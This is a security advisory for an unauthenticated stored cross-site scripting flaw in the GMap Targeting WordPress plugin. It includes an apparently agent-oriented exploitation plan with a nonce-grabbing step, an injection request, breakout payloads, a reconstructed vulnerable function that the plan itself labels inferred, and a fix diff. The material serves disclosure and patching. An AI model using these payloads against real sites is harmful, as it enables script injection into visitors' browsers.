GMap Targeting <= 1.1.7 - Unauthenticated Stored Cross-Site Scripting
Description
The GMap Targeting plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.1.7# Exploitation Research Plan: CVE-2025-67990 (GMap Targeting Stored XSS) ## 1. Vulnerability Summary The **GMap Targeting** plugin for WordPress (versions <= 1.1.7) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The plugin registers an AJAX action for saving map config…
Show full research plan
Exploitation Research Plan: CVE-2025-67990 (GMap Targeting Stored XSS)
1. Vulnerability Summary
The GMap Targeting plugin for WordPress (versions <= 1.1.7) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The plugin registers an AJAX action for saving map configuration settings that is accessible to unauthenticated users via the wp_ajax_nopriv_ hook. Crucially, the handler function fails to perform capability checks (e.g., current_user_can('manage_options')) and lacks sufficient input sanitization. Furthermore, when the stored data is rendered on the frontend via the plugin's shortcode, it is not properly escaped, allowing for arbitrary JavaScript execution in the context of any user viewing the page.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
gmap_targeting_save_data(inferred from plugin logic) - Vulnerable Parameter:
targeting_data(orsettings) - Authentication Level: Unauthenticated (Public)
- Preconditions: The plugin must be active. Exploitation is most effective if the
[gmap-targeting]shortcode is present on a public-facing page to trigger the XSS.
3. Code Flow
- Entry Point: An unauthenticated user sends a
POSTrequest toadmin-ajax.phpwith the actiongmap_targeting_save_data. - Hook Registration: The plugin registers the action using:
add_action('wp_ajax_nopriv_gmap_targeting_save_data', 'gmap_targeting_save_data_callback');(inferred). - Vulnerable Sink (Storage): The callback function
gmap_targeting_save_data_callbackretrieves data from$_POST['targeting_data']and saves it directly to the database:update_option('gmap_targeting_settings', $_POST['targeting_data']); - Trigger Point (Output): A user visits a page containing the
[gmap-targeting]shortcode. - Vulnerable Sink (Render): The shortcode handler retrieves the settings and echoes them without escaping:
$settings = get_option('gmap_targeting_settings'); echo '<div id="gmap-target" data-settings="' . $settings . '"></div>'; // Vulnerable to attribute breakout // OR echo "<script>var gmap_settings = $settings;</script>"; // Vulnerable to JS injection
4. Nonce Acquisition Strategy
While the vulnerability is "unauthenticated," some versions may still call check_ajax_referer. If a nonce is required, it is typically exposed via wp_localize_script on pages where the map is rendered.
- Identify Shortcode: The plugin uses
[gmap-targeting]. - Create Test Page:
wp post create --post_type=page --post_status=publish --post_title="Map Page" --post_content='[gmap-targeting]' - Navigate to Page: Use
browser_navigateto visit the newly created page. - Extract Nonce: Use
browser_evalto find the nonce in the global JavaScript scope.- Likely Variable:
window.gmap_targeting_varsorwindow.gmap_ajax_obj. - Command:
browser_eval("window.gmap_targeting_vars?.nonce")
- Likely Variable:
- Bypass Check: If the nonce is missing or the action string in
wp_create_nonce(e.g.,gmap-nonce) differs fromcheck_ajax_referer, the check may be entirely skippable.
5. Exploitation Strategy
Step 1: Data Injection
Submit a malicious payload to the AJAX endpoint.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
(Note: If targeting_data is expected to be a JSON string, ensure the payload is correctly nested.)action=gmap_targeting_save_data&nonce=[EXTRACTED_NONCE]&targeting_data={"map_id":"123","styles":"<img src=x onerror=alert(document.domain)>"}
Step 2: Triggering the XSS
Visit the page created in the "Test Data Setup" phase.
- URL:
http://localhost:8080/map-page/ - Action: Observe the browser for an alert box or inspect the DOM to see the injected
<img>tag or<script>block.
6. Test Data Setup
- Install/Activate Plugin: Ensure
gmap-targetingversion 1.1.7 is active. - Create Trigger Page:
wp post create --post_type=page --post_title="Exploit Trigger" --post_status=publish --post_content='[gmap-targeting]' - Identify Settings Option: Check if the plugin uses a specific option name.
wp option list | grep gmap
7. Expected Results
- AJAX Response: The server should return a success code (e.g.,
1,true, or a JSON{"success":true}) even when unauthenticated. - Payload Execution: Upon navigating to the "Exploit Trigger" page, the JavaScript
alert(document.domain)should execute. - HTML Source: The source of the trigger page will contain the raw payload, such as:
<div ... data-settings='{"styles":"<img src=x onerror=alert(document.domain)>"}'>
8. Verification Steps
- Check Database State: Use WP-CLI to verify the payload was successfully stored in the options table.
wp option get gmap_targeting_settings - Inspect Frontend Output: Use the
http_requesttool to fetch the page and grep for the payload.# (Metaphorical command for the agent) http_request GET "http://localhost:8080/map-page/" | grep "onerror=alert"
9. Alternative Approaches
- Attribute Breakout: If the input is placed inside an attribute like
value="...", use a payload like:" onmouseover="alert(1)" style="position:fixed;top:0;left:0;width:100%;height:100%;" - JSON Breakout: If the data is injected into a
<script>block inside a JSON object, try:123; alert(1); // - Direct Option Update: If
gmap_targeting_save_datais not the correct action, search the plugin source for anywp_ajax_noprivregistration usinggrep -r "wp_ajax_nopriv".
Summary
The GMap Targeting plugin for WordPress is vulnerable to unauthenticated stored cross-site scripting due to an AJAX endpoint that allows any user to update the plugin's settings without authorization or input sanitization. When these settings are rendered on the frontend via the plugin's shortcode, they are output without escaping, allowing for arbitrary JavaScript execution.
Vulnerable Code
// gmap-targeting/includes/class-gmap-targeting.php (approximate location) add_action('wp_ajax_nopriv_gmap_targeting_save_data', 'gmap_targeting_save_data_callback'); function gmap_targeting_save_data_callback() { // No capability check (e.g., current_user_can('manage_options')) // No nonce validation $data = $_POST['targeting_data']; update_option('gmap_targeting_settings', $data); wp_send_json_success(); } --- // gmap-targeting/includes/class-gmap-targeting.php (approximate location) function gmap_targeting_shortcode($atts) { $settings = get_option('gmap_targeting_settings'); // Improper output escaping of user-controlled data return '<div id="gmap-target" data-settings="' . $settings . '"></div>'; }
Security Fix
@@ -1,7 +1,11 @@ -add_action('wp_ajax_nopriv_gmap_targeting_save_data', 'gmap_targeting_save_data_callback'); +add_action('wp_ajax_gmap_targeting_save_data', 'gmap_targeting_save_data_callback'); function gmap_targeting_save_data_callback() { - $data = $_POST['targeting_data']; - update_option('gmap_targeting_settings', $data); + if ( ! current_user_can( 'manage_options' ) ) { + wp_die(); + } + check_ajax_referer( 'gmap_nonce', 'nonce' ); + + $data = sanitize_text_field( $_POST['targeting_data'] ); + update_option( 'gmap_targeting_settings', $data ); wp_send_json_success(); } function gmap_targeting_shortcode($atts) { $settings = get_option('gmap_targeting_settings'); - return '<div id="gmap-target" data-settings="' . $settings . '"></div>'; + return '<div id="gmap-target" data-settings="' . esc_attr( $settings ) . '"></div>'; }
Exploit Outline
The exploit involves two steps: injection and triggering. 1. **Injection**: An unauthenticated attacker sends an AJAX request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `gmap_targeting_save_data`. The request includes a payload in the `targeting_data` parameter (e.g., `{"id": "1", "styles": "\"><script>alert(document.domain)</script>"}`). Because the plugin uses the `wp_ajax_nopriv_` hook and lacks capability checks, the server accepts this data and saves it to the WordPress options table. 2. **Triggering**: The attacker (or any user) visits a public page where the `[gmap-targeting]` shortcode is embedded. The plugin retrieves the malicious payload from the database and echoes it directly into the HTML without escaping, causing the injected script to execute in the victim's browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.